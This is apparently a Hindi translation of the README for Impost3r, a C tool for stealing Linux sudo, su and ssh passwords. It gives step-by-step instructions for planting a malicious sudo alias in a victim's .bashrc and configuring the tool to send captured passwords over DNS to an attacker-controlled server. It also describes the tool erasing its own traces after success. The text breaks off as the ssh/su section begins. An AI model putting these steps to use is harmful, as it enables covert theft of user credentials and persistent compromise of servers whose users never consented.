
👻Impost3r -- एक Linux पासवर्ड चोर

Impost3r एक C भाषा में लिखा गया उपकरण है, जिसका उपयोग लिनक्स पर विभिन्न पासवर्ड (ssh, su, sudo) चुराने के लिए किया जाता है।
उपयोगकर्ता इस प्रोग्राम का उपयोग वाटरिंग होल बनाने के लिए कर सकते हैं, ताकि वैध उपयोगकर्ताओं के पासवर्ड चुराए जा सकें।
यह उपकरण केवल सुरक्षा अनुसंधान और शिक्षा के लिए है; उपयोगकर्ता इस उपकरण के उपयोग से उत्पन्न सभी कानूनी और संबंधित जिम्मेदारियों को स्वीकार करता है! लेखक किसी भी कानूनी या संबंधित जिम्मेदारी को स्वीकार नहीं करता है!
Impost3r का उपयोग sudo, su, ssh सेवाओं सहित पासवर्ड चुराने के लिए किया जा सकता है। इन तीन सेवाओं को मोटे तौर पर दो श्रेणियों में विभाजित किया जा सकता है: sudo और ssh/su। नीचे दो स्थितियों पर चर्चा की गई है।
केवल सामान्य उपयोगकर्ता अनुमति की आवश्यकता है, root होना आवश्यक नहीं है, लेकिन केवल संबंधित उपयोगकर्ता का पासवर्ड चुराया जा सकता है, अन्य उपयोगकर्ताओं का नहीं।
पहले मान लें कि हमलावर ने एक सर्वर पर नियंत्रण प्राप्त कर लिया है, अनुमति सामान्य उपयोगकर्ता की है।
जाँचें कि उपयोगकर्ता की मूल निर्देशिका में .bash_profile फ़ाइल मौजूद है या नहीं। यदि .bash_profile मौजूद है: जाँचें कि .bash_profile फ़ाइल में .bashrc को सक्रिय रूप से लोड किया गया है या नहीं। यदि सक्रिय रूप से लोड किया गया है, तो इस चरण और अगले दो चरणों को छोड़ दें और आगे की कार्रवाई जारी रखें। यदि सक्रिय रूप से लोड नहीं किया गया है, तो अगले दो चरणों को छोड़ दें, और नीचे .bashrc से संबंधित सभी क्रियाओं को .bash_profile के लिए बदल दें!!!; यदि .bash_profile मौजूद नहीं है: अगली जाँच पर जाएँ।
जाँचें कि उपयोगकर्ता की मूल निर्देशिका में .bash_login फ़ाइल मौजूद है या नहीं। यदि .bash_login मौजूद है: जाँचें कि .bash_login फ़ाइल में .bashrc को सक्रिय रूप से लोड किया गया है या नहीं। यदि सक्रिय रूप से लोड किया गया है, तो इस चरण और अगले चरण को छोड़ दें और आगे की कार्रवाई जारी रखें। यदि सक्रिय रूप से लोड नहीं किया गया है, तो अगले चरण को छोड़ दें, और नीचे .bashrc से संबंधित सभी क्रियाओं को .bash_login के लिए बदल दें!!!; यदि .bash_login मौजूद नहीं है: अगली जाँच पर जाएँ।
जाँचें कि उपयोगकर्ता की मूल निर्देशिका में .profile फ़ाइल मौजूद है या नहीं। यदि .profile मौजूद है: जाँचें कि .profile फ़ाइल में .bashrc को सक्रिय रूप से लोड किया गया है या नहीं (डिफ़ॉल्ट रूप से लोड होता है)। यदि सक्रिय रूप से लोड किया गया है, तो इस चरण को छोड़ दें और आगे की कार्रवाई जारी रखें। यदि सक्रिय रूप से लोड नहीं किया गया है, तो नीचे .bashrc से संबंधित सभी क्रियाओं को .profile के लिए बदल दें!!!; यदि .profile भी मौजूद नहीं है, तो सैद्धांतिक रूप से Impost3r का उपयोग नहीं किया जा सकता है। बेशक, आप स्थिति के अनुसार स्वयं निर्णय ले सकते हैं कि .bash_profile या .profile फ़ाइल बनानी है या नहीं, और इसमें .bashrc को लोड करने के लिए निम्नलिखित कोड जोड़ें:
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
उपयोगकर्ता के .bashrc की एक प्रतिलिपि बनाएँ: cp ~/.bashrc /tmp/, और इस प्रतिलिपि को हमलावर द्वारा निर्धारित पथ पर रखें (इस उदाहरण में इसे /tmp/ निर्देशिका में रखा गया है, हमलावर इसे संशोधित कर सकता है)।
उपयोगकर्ता की मूल निर्देशिका में .bashrc (~/.bashrc) को संशोधित करें, अंतिम पंक्ति में निम्नलिखित कथन जोड़ें (जहाँ "/tmp/.impost3r" को नीचे FILENAME के साथ मेल खाना चाहिए):
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
जोड़ने के बाद, फ़ाइल को सहेजें और source ~/.bashrc निष्पादित करें।
इसके बाद हमलावर को Impost3r के स्रोत कोड /sudo/main.h को संशोधित करना होगा:
/*
Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\ लक्ष्य सर्वर पर Impost3r का स्थान सेट करें
# define BACKUP_ORI_FILENAME ".bashrc" \\ इंगित करता है कि हमलावर द्वारा बैकअप ली गई मूल उपयोगकर्ता कॉन्फ़िगरेशन फ़ाइल .bashrc, .bash_profile, .profile, या .bash_login है
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\ इंगित करता है कि हमलावर द्वारा बैकअप ली गई मूल उपयोगकर्ता कॉन्फ़िगरेशन फ़ाइल लक्ष्य सर्वर पर कहाँ स्थित है
# define SAVE_OR_SEND 0 \\ सेट करता है कि चोरी सफल होने के बाद परिणाम लक्ष्य मशीन पर सहेजा जाएगा या हमलावर द्वारा नियंत्रित मशीन पर भेजा जाएगा (भेजें=0, सहेजें=1, डिफ़ॉल्ट भेजें)
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\ ध्यान दें: यदि आप Impost3r से वापस संदेश प्राप्त करने के लिए कोई डोमेन खरीदना नहीं चाहते हैं और लक्ष्य सर्वर आपके नियंत्रित DNS सर्वर के पोर्ट 53 पर सीधे UDP कनेक्शन को प्रतिबंधित नहीं करता है, तो यहाँ डोमेन डिफ़ॉल्ट मान का उपयोग करें;
\\ लेकिन यदि लक्ष्य सर्वर DNS अनुरोधों के आउटबाउंड को सख्ती से प्रतिबंधित करता है, तो YOUR_DOMAIN का मान आपके द्वारा खरीदे गए डोमेन में बदलें, जैसे ".example.com", और इस डोमेन के NS रिकॉर्ड को अपने नियंत्रित DNS सर्वर के पते पर कॉन्फ़िगर करें, उस DNS सर्वर पर Fdns चलाएँ, और नीचे REMOTE_ADDRESS का मान लक्ष्य सर्वर के डिफ़ॉल्ट DNS पते पर बदलें, REMOTE_PORT को लक्ष्य सर्वर के डिफ़ॉल्ट DNS पते द्वारा सुने जाने वाले DNS सेवा पोर्ट पर बदलें (अधिकांश मामलों में पोर्ट 53)
# define MAX_RESEND 30 \\ पासवर्ड चुराने के बाद, Impost3r हमलावर सर्वर पर उपयोगकर्ता पासवर्ड भेजने के लिए अधिकतम पुनः प्रयास संख्या सेट करता है
# define RESEND_INTERVAL 5 \\ प्रत्येक पासवर्ड भेजने के बीच का अंतराल सेट करता है
# define REMOTE_ADDRESS "192.168.0.12" \\ पासवर्ड वापस भेजने का रिमोट पता सेट करता है
# define REMOTE_PORT 53 \\ पासवर्ड वापस भेजने का रिमोट पोर्ट सेट करता है
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\ परिणाम फ़ाइल का सहेजने का स्थान सेट करता है, जब SAVE_OR_SEND 1 पर सेट हो
संशोधन के बाद, सहेजें और वर्तमान निर्देशिका में make निष्पादित करें।
वर्तमान निर्देशिका में संकलित .impost3r फ़ाइल प्राप्त होगी।
.impost3r फ़ाइल को लक्ष्य सर्वर के /tmp/ फ़ोल्डर में अपलोड करें (यह केवल एक उदाहरण है, इसे स्वयं संशोधित किया जा सकता है, केवल इतना सुनिश्चित करें कि यह स्रोत कोड में परिभाषित के समान हो)।
हमलावर अपने सर्वर पर DNS सर्वर प्रोग्राम प्रारंभ करता है और वैध उपयोगकर्ता द्वारा sudo का उपयोग करने के बाद पासवर्ड प्राप्त करने की प्रतीक्षा करता है।
sudo पासवर्ड चुराने के मामले में, Impost3r सफल होने के बाद स्वचालित रूप से निशान मिटा देगा, इसलिए हमलावर को मैन्युअल रूप से सफाई करने की आवश्यकता नहीं है।
Impost3r स्वचालित रूप से पहचान लेगा कि उपयोगकर्ता द्वारा दर्ज किया गया पासवर्ड सही है या नहीं, और सही पासवर्ड दर्ज होने के बाद ही प्रक्रिया समाप्त करेगा और निशान मिटाएगा।
कृपया Impost3r का उपयोग करने से पहले स्वयं sudo -v का उपयोग करके जाँचें कि वर्तमान उपयोगकर्ता sudoer समूह में है या नहीं। यदि नहीं, तो Impost3r का उपयोग न करें।
ssh/su पासवर्ड चुराने की विधि ऊपर sudo पासवर्ड चुराने से भिन्न है। इसके लिए root अनुमति की आवश्यकता होती है, और किसी भी उपयोगकर्ता का पासवर्ड चुराया जा सकता है।
नीचे Ubuntu को उदाहरण के रूप में लिया गया है, Centos समान है, उपयोग की जाने वाली फ़ाइलें और संशोधन के तरीके भिन्न हो सकते हैं।
सबसे पहले मान लें कि हमलावर ने एक सर्वर पर नियंत्रण प्राप्त कर लिया है।
विशेषाधिकार वृद्धि (privilege escalation) के माध्यम से root अनुमति प्राप्त की (या प्रशासक ने root अनुमति से सेवा शुरू की)।